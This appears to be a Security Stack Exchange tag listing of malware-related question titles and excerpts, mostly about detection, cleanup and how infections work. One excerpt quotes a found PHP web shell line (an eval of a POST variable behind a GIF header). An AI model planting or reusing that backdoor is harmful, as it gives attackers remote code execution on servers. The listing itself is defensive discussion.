Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

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How will microvirtualisation change the security field, if at all?

Will this reduce the number of exploitable vulnerabilities in common operating systems? Will the only path in be to exploit the VM itself? Marketing blurb from Bromium's website below. ... ...
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Should I trust URL based on file extension like this: http://example.com/image.jpg

I created a slideshow and mentioned that user must not trust URL based on file extension, however, I got some claims against that, because URL's like this should be safe: ...
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What is the ultimate goal of hacking a webserver? [closed]

Recently I noticed a lot of traffic generated by automated bots that were checking for vulnerabilities in my web server. They were mainly looking for ways to hack into plesk/wordpress which I don't ...
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What anti-keylogging programs can you use when using a public PCs

Are there anti-keylogging programs that can keep you safe while you are using a public PC terminal? Do they exist and what are these? I like to know that I am safe when entering data on a public PC ...
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Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
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Can malware provide hidden remote access to a user's desktop?

Is there a possibility that malware on a computer could be providing remote access to an external party without the computer user being aware? I.e., some kind of hidden active remote access tool? ...
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Is this a valid Windows update page

In my chrome browser if I google for Windows Update the first hit is windowsupdate.microsoft.com/‎ When I click on it I am redirected to ...
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My website has been hacked, what do i do next? [closed]

So. I couldn't see any other question like this on Sec.Se so i thought i'd ask. My public website www.foo.com has been hacked. The front page is sending it to be redirected to seoblog.fooblog.com in ...
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How to test for presense of antivirus?

I want to test that when user uploads file, then it goes through up-to-date and properly configured antivirus. I think that to test for it I need some malware that is likely to be detected (it doesn't ...
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Can visiting a malicious website infect an iOS or Android device?

Can visiting a malicious website infect an iOS or Android device? We're talking about visiting such sites via a browser. We're not talking about downloading any malicious apps. Thanks!
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How would a keylogger bypass Wireshark sniffing?

I often see malicious keyloggers being advertised as having anit-wireshark feature. Meaning their data can't be sniffed. Is it possible to do so? How would they do it? My guess is that they just ...
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Security Practices by Employees in a Corporate Environment

Consider the following situation : 1. Somehow my boss's system got infected with a malware ( He visited one of the Java exploits website). 2. He sends a PDF document containing the requirement ...
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How hard it would be to infect a system with malware through a portable web browser

If I use a portable web browser on a USB device like Google Chrome Portable how hard it would be to get infected by a malware/virus in the system to which the USB device is connected? Google Chrome ...
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Google DNS in Firewall logs

I was viewing my firewall logs and come across the IP 8.8.8.8. Further check reveals it belongs to Google DNS. And such traffic has been going out from some of our LAN segment PCs. From here on, how ...
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Antivirus settings: delete or quarantine the file?

I understand that most antiviruses by default quarantine infected files. I have changed it to remove all infected files immediately. Would this cause more harm than good?
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How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
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Trust linux images burned from untrusted systems

For securitys sake I'm assuming my system is successfully compromised after a targeted and/or non-targeted attack. I've downloaded some linux images and burned them to do a re-install. Since I can't ...
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What do I do, I got a virus warning on a webpage

I went to the web address (hxxp://www.asanka.com) (WARNING: BE CAREFUL WHEN VISITING) on Safari, then suddenly I got a warning message [image below] What do I do? I'm freaked out. I have a lot of ...
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Prevent a file from being encrypted

Is it possible to prevent a file from being encrypted, or at least being easily decrypted in case of encryption? For instance; with the Crypto Locker malware attacking users, could you set up a ...
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How are 1x1 pixel images used in a malicious context?

I have been analyzing malware and I am seeing many 1x1 png and gif files. What could these be used for?
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How Browsers prevents Malware and Phishing attacks

I want to know how phishing and malware protection features are implemented in modern browsers like Chrome, Firefox, IE etc. Are these features heuristic based, or do browsers maintain a list of ...
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How does Remote Access Trojan / Backdoor Software work?

How does the RAT works? I understand it as once we surf the infected website, browser might download the trojan to our PC automatically. Will it executed and auto install in our computer? I can't ...
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Domain Name Thefts

Due to past experiences, I have learned that when I'm contemplating purchasing a suitable domain name, I should NOT do so by searching on the websites of domain registrars (GoDaddy, name.com, etc.). ...
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Is loopback interface protected from sniffing?

I'm trying to understand what are the risks derived from unprotected communications within the same device, by the use of the loopback interface. I've verified it is possible to capture packets, with ...
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How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
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Malware not showing up in virus scan

I have some malware on my computer at work that I'm having a hard time getting rid of. I'm only interning there over the summer, so I'm guessing that it was downloaded by the previous user because I ...
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Windows PE file and Malwares

Trying to understand how and why any virus, malware, worm and code injections are successful after all in a Windows Portable Executable format. I was going through the PE structure documentation, ...
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Detecting malware hidden in P2P traffic

Consider a network situation involving (only) Peer to Peer traffic in medium sized network. For the sake of convenience, a simple P2P application like DC++ may be assumed, although I am aiming at a ...
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malware classification based on action [closed]

Where can I get info with a view to classify malware based on actions performed by the them. Eg. modifying registry files, copying themselves into other executable's etc.
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Online virus scanning service with remote file submission?

I have some links that contain hacking tool and whatnot and I want to pass them to a virus scanning service. The thing is that I don't want to download them to my pc and upload them to their service, ...
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Convert PDF to plain text, remove malware?

Take a PDF, copy all, paste it into a .rtf document in textedit, --> make plain text. will this remove/nullify any malware from/in the pdf? In other words, if I open the PDF on one machine and convert ...
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What does this potentially malicious code do? [closed]

While reading a website called 4chan/b/ someone posted this code snippet, i was wondering what it does when executed? it appears to be C code, how harmful is it? This is the full post: Run a live ...
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Questions on reflected file download (RFD) attack

I read this article, and the whitepaper by security researcher Oren Hafif which mentions the following salient points: RFD, like many other Web attacks, begins by sending a malicious link to a ...
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Known windows malware propagated via unmounted iPhone

Last week I was told by our security department that my PC (running windows 7) was infected by a trojan and that it needed to be re-imaged. So re-imaged it was! Given the fact that I had been using ...
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Sonar power saving. Attacks and how to mitigate

I recently came upon a program called Sonar power saving that uses speakers and microphone to put the computer in power saving mode as long as you move away from the screen. ...
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Is interpreted malware easier to detect than compiled malware?

Is compiled code more of a security risk than interpreted code? I'm under the impression that it is due to the fact that compiled code can hide malicious code from malware scans.
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How does duqu delete itself?

I'm curious to know how Duqu deletes itself. From technical point of view and generally, how can an executable delete itself while is running? Does Duqu use a specific procedure to do this?
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In Metasploit, how to use a custom exe as payload?

Question was once on a mailing list but wasn't answered. I want to use a custom exe as a payload in metasploit. For example when I use exploit/multi/browser/java_atomicreferencearray and want to ...
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Is there a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? [closed]

As mentioned in the title I'm looking for a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? Maybe there is ...
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Can a bad guy be judged for gaining access to sensitive information?

Assuming a hacker has sent to somebody a malware. It's a trojan (digitally signed by TeamViewer) which runs automatically when windows starts up and sends the login info to a web site using GET ...
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How does malware performs a UDP hole punch?

I want to know how do malware like ZeroAccess hole punch the network without using a external server? Or do they just mainly infect non-NAT users? Does that mean all NAT users are safe?
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Data collection when responding to malware alerts

When investigating malware alerts I would like to collect some information from the system before the decision gets made to take the system off of the network and re-imaged, or if further forensics is ...
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Are externally referenced libraries (CDN's) a security issue?

Today I read about an alleged malware attack targeting jQuery.com A german blogger who is what I would call an expert on IT security stated that Any website that is working with ...
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malware - How to listen to and close malicious ports?

I have a Windows 8.1 machine that seems to be acting weird and getting slow day by day. I believe that it may be a victim of Remote access Trojan(RAT) infection. How do I listen to ports on my PC and ...
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I need help identifying the cause of weird outbound traffic from my network

I have some weird traffic heading outbound from my network. It is being blocked by the firewall from exiting and I'm not sure what the source is. I've looked at the machine and don't see anything ...
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Skype is doing funny things when I type or click, does this necessarily mean malware may be in my computer?

I'm new to the IT Security Stack Exchange! This is my question: I've Skype installed on my Windows 7 computer. In the last few months I've noticed my mouse cursor blinks (I mean it shows that cursor ...
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How to detect infected devices on your local network [closed]

Today I read about a researcher who bought a digital TV recorder and connected it to the internet - probably using port forwarding to enable attackers to connect to the recorder. After a while someone ...
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How do worms spread over LAN? [duplicate]

I've been researching LAN recently, and I came across a post talking about viruses spreading over LAN, and I was wondering, how is this possible? Would it not be a huge security issue to allow files ...
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Where's the virus in this web site?

I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but ...
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how is BAT_VOBFUS (or similar) dangerous?

I was reading http://about-threats.trendmicro.com/malware.aspx?language=au&name=BAT_VOBFUS.SM earlier today after it turned up in a scan of a friends PC. I suppose I may be missing something vital ...